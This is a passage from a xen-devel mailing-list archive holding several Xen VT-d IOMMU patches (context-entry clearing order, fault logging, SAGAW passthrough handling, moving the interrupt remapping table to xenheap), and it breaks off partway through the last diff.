 zx3GuoLBcidSFLq7eujOcvg7Qqy6PQ5JFRwlvB78+0VMOWVBHvee2xNYpfaruYZJpTDArpAFvuD
 21yGtf5AAww0qU4lGDchcf3XWb21tRHIVTTG9+VZe5dw==
X-Zone-Loop: 393318f3b89818c07c15a735954d8b87ec552d17f5b4
x-campaign-type: default
x-transaction-id: d712f36d-4dd9-4b5f-a042-d024ade97722
x-swg-uid: 01-5df9e053-648e-459e-a315-db74decaf080
X-Mailer: Sweego
Message-ID:
 <1785319341.8631fc262581453bbf619ec5b2062170.19fad533bfc000e099@vates.tech>
x-swg-bid: 1785319341.8631fc262581453bbf619ec5b2062170.19fad533bfc000e099
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
From: Teddy Astie <teddy.astie@vates.tech>
To: xen-devel@lists.xenproject.org
Cc: Teddy Astie <teddy.astie@vates.tech>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger@xenproject.org>
Subject: [PATCH 2/5] vtd: Ensure context entry is cleared properly
Date: Wed, 29 Jul 2026 11:59:44 +0200
In-Reply-To: <1785319236.8631fc262581453bbf619ec5b2062170.19fad51a4be000e099@vates.tech>
References: <1785319236.8631fc262581453bbf619ec5b2062170.19fad51a4be000e099@vates.tech>
MIME-Version: 1.0
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.165e.746cbe8ad397ee00.19fad5332b2.5eb59192ce5ca342=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1785319338674
X-purgate-ID: tlsNG-c1860d/1785319344-D6B4187B-BE92D544/0/0
X-purgate-type: clean
X-purgate-size: 2098

---=Part.165e.746cbe8ad397ee00.19fad5332b2.5eb59192ce5ca342=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

When removing a context entry for a device, the present bit needs to
be cleared first, then we can clear the rest of the field=2E In the curren=
t
logic, the compiler is allowed to perform optimizations in a way where hig=
h
is cleared before the present bit (which is in low part) is, leading to a
window where the context entry is invalid and would make the IOMMU fault
(as address width would be set to a reserved value)=2E

Fix the logic by ensuring we clear the low part first (which also clears
the present bit) then the high part afterward=2E

Fixes: cada0c18f8d1 ("vtd: Move dom0 RMRR check to intel_iommu_remove_devi=
ce()")
Reported-by: Teddy Astie <teddy=2Eastie@vates=2Etech>
Signed-off-by: Andrew Cooper <andrew=2Ecooper3@citrix=2Ecom>
Signed-off-by: Teddy Astie <teddy=2Eastie@vates=2Etech>
---
 xen/drivers/passthrough/vtd/iommu=2Ec | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/xen/drivers/passthrough/vtd/iommu=2Ec b/xen/drivers/passthrou=
gh/vtd/iommu=2Ec
index c314ce1db8=2E=2E1005e200c1 100644
--- a/xen/drivers/passthrough/vtd/iommu=2Ec
+++ b/xen/drivers/passthrough/vtd/iommu=2Ec
@@ -1889,8 +1889,14 @@ int domain_context_unmap_one(
=20
     iommu_domid =3D context_domain_id(*context);
=20
-    context_clear_present(*context);
-    context_clear_entry(*context);
+    /*
+     * Clear the context entry=2E
+     *
+     * As this is performed with two stores, ensure lo (containing the pr=
esent
+     * bit) is cleared first=2E
+     */
+    ACCESS_ONCE(context->lo) =3D 0;
+    ACCESS_ONCE(context->hi) =3D 0;
     iommu_sync_cache(context, sizeof(struct context_entry));
=20
     rc =3D iommu_flush_context_device(iommu, iommu_domid,
--=20
2=2E54=2E0



-- 
Teddy Astie | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vates s=
olutions

web: https://vates=2Etech
---=Part.165e.746cbe8ad397ee00.19fad5332b2.5eb59192ce5ca342=---


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 10:02:27 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 10:02:27 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375403.1622570 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp17L-00051q-GU; Wed, 29 Jul 2026 10:02:27 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375403.1622570; Wed, 29 Jul 2026 10:02:27 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp17L-00051Y-87; Wed, 29 Jul 2026 10:02:27 +0000
Received: by outflank-mailman (input) for mailman id 1375403;
 Wed, 29 Jul 2026 10:02:26 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fad533fa5000e099@swg.vates.tech>)
 id 1wp17K-0004zL-0g
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 10:02:26 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp17J-00H4B5-DI
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 12:02:25 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fad533fa5000e099@swg.vates.tech>)
 id 6a69cfaa-5cb7-0a2a0a5109dd-0a2a450bc72c-44
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 12:02:25 +0200
Received: from [185.255.28.18] (helo=prod-mta-13.swg-srv.net)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fad533fa5000e099@swg.vates.tech>)
 id 6a69cfb1-b7e8-0a2a450b0019-b9ff1c129c6d-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 12:02:25 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19fad533fa5000e099.002 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Wed, 29 Jul 2026 10:02:21 +0000
Received: from localhost.localdomain (88-188-240-210.subs.proxad.net
 [88.188.240.210]) (Authenticated sender: teddy.astie@vates.tech)
 by mail2.vates.fr (Postfix) with ESMTPSA id 718168312C;
 Wed, 29 Jul 2026 12:02:21 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=pAkuv/Vm1N/fSTcQURBKADr4OoqbpIuchdK+Q3GlJ8s=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=cVDPU7dtRxSa/Rg/xDLhHpuoB6l+WMWY7ozZLaix5NSIgWKQ0357ksaA+ePoWPICwlggi//J0
 iMFIBgt4BftG2djd+8Yq38rSfwP/55tePVNwYPcSz65CIewhlGpA50UHfNTGFwUoXI1VuWhyJGC
 /GaK2+anIFNyKkGX0LX3puewQDcf9R1jZE+vY8WO9rfruqP6Mvw7wE0O7uz1rLzy7an1r4dKwVa
 02R71YXjrUv9N/A+NhfP+7YsF0LOHCd3IQ/CmZwHROehLLohqWyLrJCFloX+V/Z9ImqgYjZoy0B
 4k3/pOsW77hCmlYWJDBOOMOXxIMXFegXUrZVJtDOyaMQ==
X-Zone-Loop: beb9989fdb96ca2408d1c05d77e4feaa6d52e01832a0
x-campaign-type: default
x-transaction-id: a2c762af-242f-4275-b252-a04686a8bcb5
x-swg-uid: 01-87d3cbd0-08d9-4ea7-986f-ee981be792b7
X-Mailer: Sweego
Message-ID:
 <1785319342.8631fc262581453bbf619ec5b2062170.19fad533fa5000e099@vates.tech>
x-swg-bid: 1785319342.8631fc262581453bbf619ec5b2062170.19fad533fa5000e099
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
From: Teddy Astie <teddy.astie@vates.tech>
To: xen-devel@lists.xenproject.org
Cc: Teddy Astie <teddy.astie@vates.tech>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger@xenproject.org>
Subject: [PATCH 3/5] vtd: Print originating iommu on faults
Date: Wed, 29 Jul 2026 11:59:45 +0200
In-Reply-To: <1785319236.8631fc262581453bbf619ec5b2062170.19fad51a4be000e099@vates.tech>
References: <1785319236.8631fc262581453bbf619ec5b2062170.19fad51a4be000e099@vates.tech>
MIME-Version: 1.0
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.165f.3c636d07eed5d9e9.19fad533e1e.753e7b5c344b1c59=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1785319341598
X-purgate-ID: tlsNG-42698a/1785319345-182F49EA-9FDF0506/0/0
X-purgate-type: clean
X-purgate-size: 1340

---=Part.165f.3c636d07eed5d9e9.19fad533e1e.753e7b5c344b1c59=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

When a fault occurs on a IOMMU, print the IOMMU the fault is coming from=2E

Signed-off-by: Teddy Astie <teddy=2Eastie@vates=2Etech>
---
 xen/drivers/passthrough/vtd/iommu=2Ec | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/xen/drivers/passthrough/vtd/iommu=2Ec b/xen/drivers/passthrou=
gh/vtd/iommu=2Ec
index 1005e200c1=2E=2E5e9232d4b1 100644
--- a/xen/drivers/passthrough/vtd/iommu=2Ec
+++ b/xen/drivers/passthrough/vtd/iommu=2Ec
@@ -992,8 +992,8 @@ static int iommu_page_fault_do_one(struct vtd_iommu *i=
ommu, int type,
         break;
     }
=20
-    printk(XENLOG_G_WARNING VTDPREFIX "%s: reason %02x - %s\n",
-           kind, fault_reason, reason);
+    printk(XENLOG_G_WARNING VTDPREFIX "%s: reason %02x - %s on iommu:%u\n=
",
+           kind, fault_reason, reason, iommu->index);
=20
     if ( iommu_verbose && fault_type =3D=3D DMA_REMAP )
         print_vtd_entries(iommu, PCI_BUS(source_id), PCI_DEVFN(source_id)=
,
--=20
2=2E54=2E0



-- 
Teddy Astie | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vates s=
olutions

web: https://vates=2Etech
---=Part.165f.3c636d07eed5d9e9.19fad533e1e.753e7b5c344b1c59=---


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 10:02:27 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 10:02:27 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375404.1622576 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp17L-0005Br-Sy; Wed, 29 Jul 2026 10:02:27 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375404.1622576; Wed, 29 Jul 2026 10:02:27 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp17L-0005Ac-PG; Wed, 29 Jul 2026 10:02:27 +0000
Received: by outflank-mailman (input) for mailman id 1375404;
 Wed, 29 Jul 2026 10:02:26 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fad53421a000e099@swg.vates.tech>)
 id 1wp17K-0004zW-HC
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 10:02:26 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp17J-00H4B5-To
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 12:02:25 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fad53421a000e099@swg.vates.tech>)
 id 6a69cfaa-5cb7-0a2a0a5109dd-0a2a450bc72c-46
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 12:02:25 +0200
Received: from [185.255.28.18] (helo=prod-mta-13.swg-srv.net)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fad53421a000e099@swg.vates.tech>)
 id 6a69cfb1-b7e8-0a2a450b0019-b9ff1c129c6d-4
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 12:02:25 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19fad53421a000e099.002 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Wed, 29 Jul 2026 10:02:22 +0000
Received: from localhost.localdomain (88-188-240-210.subs.proxad.net
 [88.188.240.210]) (Authenticated sender: teddy.astie@vates.tech)
 by mail2.vates.fr (Postfix) with ESMTPSA id 148788312C;
 Wed, 29 Jul 2026 12:02:22 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=vJftr1eo97gxl7wukzI+29dhsDRj5s60nGT0kIopQPk=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=Q81bZHxZiyFCKVRsgn5pKOmwOzhsAocSFK20qObhur2vfGV2tSmjfOFZ4+vBotivmh9x1wzP2
 qaCEvDiQv08WA75WeZwoxoVRqFx18/4cC1H+gse1VlEVas95VpVSOGD0qoj6zhAcOpkKCfvDZ8s
 XXqjvEsvUernq4PbYHI+ApceHDrcyr80e/loKl7r2CK92Khydww3ReWzAr/H6EnRvtEI0vr/5S+
 CrfsyYimEvVaJ4dle/f7rV1Y0eRFlYGuU9Y7ixqPsGgEzQlMCMFp67fwKjlQqss+5+q3rnYYWCf
 tVkpU0n3jRpW4MjIUD4mTh7c1fMh1+4kgqie/A4f84SA==
X-Zone-Loop: 2f38c52c458c533ecb9b4b440eba7e8525a4c52af488
x-campaign-type: default
x-transaction-id: a02325df-5c32-46cd-a500-6e663ef7e2df
x-swg-uid: 01-39c0f6fe-8f27-429e-a263-34e7e0ccee1e
X-Mailer: Sweego
Message-ID:
 <1785319342.8631fc262581453bbf619ec5b2062170.19fad53421a000e099@vates.tech>
x-swg-bid: 1785319342.8631fc262581453bbf619ec5b2062170.19fad53421a000e099
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
From: Teddy Astie <teddy.astie@vates.tech>
To: xen-devel@lists.xenproject.org
Cc: Teddy Astie <teddy.astie@vates.tech>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger@xenproject.org>
Subject: [PATCH 4/5] vtd: Don't disable hwdom passthrough on unhandled SAGAW  bits
Date: Wed, 29 Jul 2026 11:59:46 +0200
In-Reply-To: <1785319236.8631fc262581453bbf619ec5b2062170.19fad51a4be000e099@vates.tech>
References: <1785319236.8631fc262581453bbf619ec5b2062170.19fad51a4be000e099@vates.tech>
MIME-Version: 1.0
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.1660.bbb0cd3ae15d8a5.19fad534088.540bf220d1a0f6b=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1785319342216
X-purgate-ID: tlsNG-42698a/1785319345-1B4D39EA-BE6375B1/0/0
X-purgate-type: clean
X-purgate-size: 1765

---=Part.1660.bbb0cd3ae15d8a5.19fad534088.540bf220d1a0f6b=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

On recent VT-d spec, bit 3 indicates support for 5-level pagetables,
this is currently considered unhandled and causes "hwdom passthrough"
to be disabled, even though it's unrelated=2E

Given these are is capability bits, we don't need to consider unhandled
bits, but only make sure that the ones we want (e=2Eg 39-bit or 48-bit AGA=
W)
are set=2E

Fixes: 474fc7d3c652 ("iommu/vt-d: fix SAGAW capability parsing")
Signed-off-by: Teddy Astie <teddy=2Eastie@vates=2Etech>
---
 xen/drivers/passthrough/vtd/iommu=2Ec | 9 +--------
 1 file changed, 1 insertion(+), 8 deletions(-)

diff --git a/xen/drivers/passthrough/vtd/iommu=2Ec b/xen/drivers/passthrou=
gh/vtd/iommu=2Ec
index 5e9232d4b1=2E=2Ea3b718d0cc 100644
--- a/xen/drivers/passthrough/vtd/iommu=2Ec
+++ b/xen/drivers/passthrough/vtd/iommu=2Ec
@@ -1327,14 +1327,7 @@ int __init iommu_alloc(struct acpi_drhd_unit *drhd)
     }
=20
     if ( sagaw >> 3 )
-    {
-        printk_once(XENLOG_WARNING VTDPREFIX
-                    " Unhandled bits in SAGAW %#x%s\n",
-                    sagaw,
-                    iommu_hwdom_passthrough ? ", disabling passthrough" :=
 "");
-
-        iommu_hwdom_passthrough =3D false;
-    }
+        printk_once(XENLOG_WARNING VTDPREFIX " Unhandled bits in SAGAW %#=
x\n", sagaw);
=20
     iommu->nr_pt_levels =3D agaw_to_level(agaw);
     if ( min_pt_levels > iommu->nr_pt_levels )
--=20
2=2E54=2E0



-- 
Teddy Astie | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vates s=
olutions

web: https://vates=2Etech
---=Part.1660.bbb0cd3ae15d8a5.19fad534088.540bf220d1a0f6b=---


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 10:02:28 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 10:02:28 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375405.1622583 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp17M-0005HW-A1; Wed, 29 Jul 2026 10:02:28 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375405.1622583; Wed, 29 Jul 2026 10:02:28 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp17M-0005GA-2B; Wed, 29 Jul 2026 10:02:28 +0000
Received: by outflank-mailman (input) for mailman id 1375405;
 Wed, 29 Jul 2026 10:02:27 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fad5345fc000e099@swg.vates.tech>)
 id 1wp17L-0004zi-2g
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 10:02:27 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp17K-007PyJ-Fk
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 12:02:26 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fad5345fc000e099@swg.vates.tech>)
 id 6a69cfb2-e002-0a2a0a5209dd-0a2a450bc730-0
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 12:02:26 +0200
Received: from [185.255.28.18] (helo=prod-mta-13.swg-srv.net)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fad5345fc000e099@swg.vates.tech>)
 id 6a69cfb1-b7e8-0a2a450b0019-b9ff1c129c6d-5
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 12:02:26 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19fad5345fc000e099.002 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Wed, 29 Jul 2026 10:02:23 +0000
Received: from localhost.localdomain (88-188-240-210.subs.proxad.net
 [88.188.240.210]) (Authenticated sender: teddy.astie@vates.tech)
 by mail2.vates.fr (Postfix) with ESMTPSA id AE84C8312C;
 Wed, 29 Jul 2026 12:02:22 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=96NWkxxoch+1tQ+w60+vezT9Zo68h4fHDKbXLcZcY90=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=VJRfeON/55NZj5XXICjtpRABtAImkmzuM0Mn7tl7U9vRDkiyYPoLP03ktG+oWYnV+FGwriyZB
 xOzI18PY65Sk62tVErtSC/9SMUuRyy20mfmKVfoUGhblhbiE2PjMNluE5QzdF7NkbxVjhaW8OpF
 oYBXfXL6hwMPhGDr2LORBsLDsIbkhwHCbQCMG7MZJIZPiqJmj77u5CMVIn0NUQK9P8zVXpcGxKr
 Y5ZR8+0lU/0bx7QdyIHoZvkNt4Z2DPgY3voCMNg9OyaaM4F4kLKvFQIL6rQvrJgiSRcCNM5+1ir
 2jYLBTgHD07nFfFei8QVPZHshzfk4ZITinCLTrrU0/1A==
X-Zone-Loop: dad82f4b7fba7d10c50f1c2840ddd18f50d62d11570d
x-campaign-type: default
x-transaction-id: edbbe2e1-6242-47b9-890b-dfa50c2f7f3c
x-swg-uid: 01-ced710f2-afb7-4de8-a08c-f954404b2a7f
X-Mailer: Sweego
Message-ID:
 <1785319343.8631fc262581453bbf619ec5b2062170.19fad5345fc000e099@vates.tech>
x-swg-bid: 1785319343.8631fc262581453bbf619ec5b2062170.19fad5345fc000e099
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
From: Teddy Astie <teddy.astie@vates.tech>
To: xen-devel@lists.xenproject.org
Cc: Teddy Astie <teddy.astie@vates.tech>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger@xenproject.org>
Subject: [PATCH 5/5] vtd: Move intremap table to xenheap
Date: Wed, 29 Jul 2026 11:59:47 +0200
In-Reply-To: <1785319236.8631fc262581453bbf619ec5b2062170.19fad51a4be000e099@vates.tech>
References: <1785319236.8631fc262581453bbf619ec5b2062170.19fad51a4be000e099@vates.tech>
MIME-Version: 1.0
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.1661.b7e19c699866e3d7.19fad534300.d10821a32adda283=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1785319342849
X-purgate-ID: tlsNG-42698a/1785319346-192CC9EA-4C0FA44B/0/0
X-purgate-type: clean
X-purgate-size: 13722

---=Part.1661.b7e19c699866e3d7.19fad534300.d10821a32adda283=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

Interrupt remapping entries often needs to be accessed, and we're creating
pointers to it on demand, which brings a lot of complexity (e=2Eg
GET_IREMAP_ENTRY() macro), move it to xenheap such that it's persistently
mapped and we won't have to worry about mapping and unmapping individual
intremap table pages=2E

Signed-off-by: Teddy Astie <teddy=2Eastie@vates=2Etech>
---
 xen/drivers/passthrough/vtd/intremap=2Ec | 61 +++++++++-----------------
 xen/drivers/passthrough/vtd/iommu=2Eh    | 16 +------
 xen/drivers/passthrough/vtd/utils=2Ec    | 22 +++-------
 3 files changed, 26 insertions(+), 73 deletions(-)

diff --git a/xen/drivers/passthrough/vtd/intremap=2Ec b/xen/drivers/passth=
rough/vtd/intremap=2Ec
index dd2788efd7=2E=2Efc683516cb 100644
--- a/xen/drivers/passthrough/vtd/intremap=2Ec
+++ b/xen/drivers/passthrough/vtd/intremap=2Ec
@@ -17,6 +17,7 @@
  * Copyright (C) Xiaohui Xin <xiaohui=2Exin@intel=2Ecom>
  */
=20
+#include <xen/mm=2Eh>
 #include <xen/irq=2Eh>
 #include <xen/sched=2Eh>
 #include <xen/iommu=2Eh>
@@ -208,21 +209,19 @@ static void update_irte(struct vtd_iommu *iommu, str=
uct iremap_entry *entry,
 /* Mark specified intr remap entry as free */
 static void free_remap_entry(struct vtd_iommu *iommu, int index)
 {
-    struct iremap_entry *iremap_entry =3D NULL, *iremap_entries, new_ire =
=3D { };
+    struct iremap_entry *iremap_entry =3D NULL, new_ire =3D { };
=20
     if ( index < 0 || index > IREMAP_ENTRY_NR - 1 )
         return;
=20
     ASSERT(spin_is_locked(&iommu->intremap=2Elock));
=20
-    GET_IREMAP_ENTRY(iommu->intremap=2Emaddr, index,
-                     iremap_entries, iremap_entry);
+    iremap_entry =3D &iommu->intremap=2Eentries[index];
=20
     update_irte(iommu, iremap_entry, &new_ire, false);
     iommu_sync_cache(iremap_entry, sizeof(*iremap_entry));
     iommu_flush_iec_index(iommu, 0, index);
=20
-    unmap_vtd_domain_page(iremap_entries);
     iommu->intremap=2Enum--;
 }
=20
@@ -232,25 +231,13 @@ static void free_remap_entry(struct vtd_iommu *iommu=
, int index)
  */
 static unsigned int alloc_remap_entry(struct vtd_iommu *iommu, unsigned i=
nt nr)
 {
-    struct iremap_entry *iremap_entries =3D NULL;
     unsigned int i, found;
=20
     ASSERT(spin_is_locked(&iommu->intremap=2Elock));
=20
     for ( found =3D i =3D 0; i < IREMAP_ENTRY_NR; i++ )
     {
-        struct iremap_entry *p;
-        if ( i % (1 << IREMAP_ENTRY_ORDER) =3D=3D 0 )
-        {
-            /* This entry across page boundry */
-            if ( iremap_entries )
-                unmap_vtd_domain_page(iremap_entries);
-
